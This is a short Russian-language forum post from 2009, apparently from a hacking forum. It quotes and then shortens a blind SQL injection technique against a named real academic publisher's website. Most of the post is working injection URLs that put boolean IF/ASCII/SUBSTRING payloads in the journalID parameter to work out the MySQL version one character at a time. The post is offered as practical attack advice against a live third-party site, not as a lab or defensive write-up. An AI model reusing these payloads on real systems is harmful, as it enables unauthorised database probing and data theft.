
13.08.2009, 17:16
|
|
Новичок
Регистрация: 27.07.2009
Сообщений: 13
С нами:
8837316
Репутация:
13
|
|
Сообщение от nemaniak
Крутить как слепую...
Например http://www.inderscience.com/browse/index.php?journalID=114+and+1=IF(ASCII(SUBSTRING(( SELECT+version()),1,1))>=100,1,0)-- выдает ошибку, значит наш ascii символ меньше...
пробуем http://www.inderscience.com/browse/index.php?journalID=114+and+1=IF(ASCII(SUBSTRING(( SELECT+version()),1,1))>=50,1,0)-- ошибки нет, значит символ больше, http://www.inderscience.com/browse/index.php?journalID=114+and+1=IF(ASCII(SUBSTRING(( SELECT+version()),1,1))>=52,1,0)-- максимальное значение на котором не выдает ошибку, проверяем http://www.inderscience.com/browse/index.php?journalID=114+and+1=IF(ASCII(SUBSTRING(( SELECT+version()),1,1))=52,1,0)-- ошибки нет, верно.
Т.е. первый ascii символ равен 52, значит версия мускуля 4-я.
Подробнее https://forum.antichat.ru/showpost.php?p=407227&postcount=3
К чему такие громоздкие конструкции?
Код:
http://www.inderscience.com/browse/index.php?journalID=114+and+substring(version(),1,1)=4/*
Этого достаточно...
|
|
|